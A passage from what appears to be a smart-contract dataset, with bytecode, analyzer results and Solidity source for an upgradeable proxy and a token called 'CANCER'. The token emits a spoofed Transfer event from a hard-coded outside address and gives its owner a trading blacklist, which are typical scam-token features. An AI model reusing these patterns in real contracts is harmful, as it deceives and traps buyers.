4529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610f565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610fb85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610fe457506000546001600160a01b03838116911614155b156112c557601454600160a01b900460ff1661107d576000546001600160a01b0384811691161461107d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b6015548111156110cf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526010602052604090205460ff1615801561111157506001600160a01b03821660009081526010602052604090205460ff16155b6111695760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b6014546001600160a01b038381169116146111ee576016548161118b846107ca565b6111959190611eb0565b106111ee5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b60006111f9306107ca565b6017546015549192508210159082106112125760155491505b8080156112295750601454600160a81b900460ff16155b801561124357506014546001600160a01b03868116911614155b80156112585750601454600160b01b900460ff165b801561127d57506001600160a01b03851660009081526005602052604090205460ff16155b80156112a257506001600160a01b03841660009081526005602052604090205460ff16155b156112c2576112b0826114c4565b4780156112c0576112c047611406565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130757506001600160a01b03831660009081526005602052604090205460ff165b8061133957506014546001600160a01b0385811691161480159061133957506014546001600160a01b03848116911614155b15611346575060006113c0565b6014546001600160a01b03858116911614801561137157506013546001600160a01b03848116911614155b1561138357600854600c55600954600d555b6014546001600160a01b0384811691161480156113ae57506013546001600160a01b03858116911614155b156113c057600a54600c55600b54600d555b610c4d8484848461164d565b600081848411156113f05760405162461bcd60e51b81526004016106159190611c05565b5060006113fd8486611ec8565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610686573d6000803e3d6000fd5b60006006548211156114a75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b60006114b161167b565b90506114bd838261169e565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150c5761150c611e4c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156057600080fd5b505afa158015611574573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115989190611e93565b816001815181106115ab576115ab611e4c565b6001600160a01b0392831660209182029290920101526013546115d19130911684610d6c565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061160a908590600090869030904290600401611edf565b600060405180830381600087803b15801561162457600080fd5b505af1158015611638573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061165a5761165a6116e0565b61166584848461170e565b80610c4d57610c4d600e54600c55600f54600d55565b6000806000611688611805565b9092509050611697828261169e565b9250505090565b60006114bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611847565b600c541580156116f05750600d54155b156116f757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061172087611875565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061175290876118d2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117819086611914565b6001600160a01b0389166000908152600260205260409020556117a381611973565b6117ad84836119bd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117f291815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d63100000611821828261169e565b82101561183e5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836118685760405162461bcd60e51b81526004016106159190611c05565b5060006113fd8486611f50565b60008060008060008060008060006118928a600c54600d546119e1565b92509250925060006118a261167b565b905060008060006118b58e878787611a36565b919e509c509a509598509396509194505050505091939550919395565b60006114bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cc565b6000806119218385611eb0565b9050838110156114bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b600061197d61167b565b9050600061198b8383611a86565b306000908152600260205260409020549091506119a89082611914565b30600090815260026020526040902055505050565b6006546119ca90836118d2565b6006556007546119da9082611914565b6007555050565b60008080806119fb60646119f58989611a86565b9061169e565b90506000611a0e60646119f58a89611a86565b90506000611a2682611a208b866118d2565b906118d2565b9992985090965090945050505050565b6000808080611a458886611a86565b90506000611a538887611a86565b90506000611a618888611a86565b90506000611a7382611a2086866118d2565b939b939a50919850919650505050505050565b600082611a955750600061069b565b6000611aa18385611f72565b905082611aae8583611f50565b146114bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b8035611b3b81611b1b565b919050565b60006020808385031215611b5357600080fd5b823567ffffffffffffffff80821115611b6b57600080fd5b818501915085601f830112611b7f57600080fd5b813581811115611b9157611b91611b05565b8060051b604051601f19603f83011681018181108582111715611bb657611bb6611b05565b604052918252848201925083810185019188831115611bd457600080fd5b938501935b82851015611bf957611bea85611b30565b84529385019392850192611bd9565b98975050505050505050565b600060208083528351808285015260005b81811015611c3257858101830151858201604001528201611c16565b81811115611c44576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6d57600080fd5b8235611c7881611b1b565b946020939093013593505050565b600080600060608486031215611c9b57600080fd5b8335611ca681611b1b565b92506020840135611cb681611b1b565b929592945050506040919091013590565b600060208284031215611cd957600080fd5b81356114bd81611b1b565b80358015158114611b3b57600080fd5b600060208284031215611d0657600080fd5b6114bd82611ce4565b600060208284031215611d2157600080fd5b5035919050565b60008060008060808587031215611d3e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6f57600080fd5b833567ffffffffffffffff80821115611d8757600080fd5b818601915086601f830112611d9b57600080fd5b813581811115611daa57600080fd5b8760208260051b8501011115611dbf57600080fd5b602092830195509350611dd59186019050611ce4565b90509250925092565b60008060408385031215611df157600080fd5b8235611dfc81611b1b565b91506020830135611e0c81611b1b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8c57611e8c611e62565b5060010190565b600060208284031215611ea557600080fd5b81516114bd81611b1b565b60008219821115611ec357611ec3611e62565b500190565b600082821015611eda57611eda611e62565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f2f5784516001600160a01b031683529383019391830191600101611f0a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8c57611f8c611e62565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f810da70666bf55caa9dc8018ee162556d14dcc3b8dd3896ca7b793eb0749b664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,764
0xae793040ceef16b18348246919eb659f4b4fda92
/** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,765
0x5e0d165c4abf15c8b4679269a6b65cba7a7d170b
/** *Submitted for verification at Etherscan.io on 2021-07-09 */ // File: contracts/Cancer.sol /** *Submitted for verification at Etherscan.io on 2021-06-05 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CANCER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Cancer"; string private constant _symbol = "CANCER"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d5e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612888565b61045e565b6040516101789190612d43565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ee0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612835565b61048c565b6040516101e09190612d43565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061279b565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190612f55565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612911565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061279b565b610782565b6040516102b19190612ee0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612c75565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612d5e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612888565b61098c565b60405161035b9190612d43565b60405180910390f35b34801561037057600080fd5b5061038b6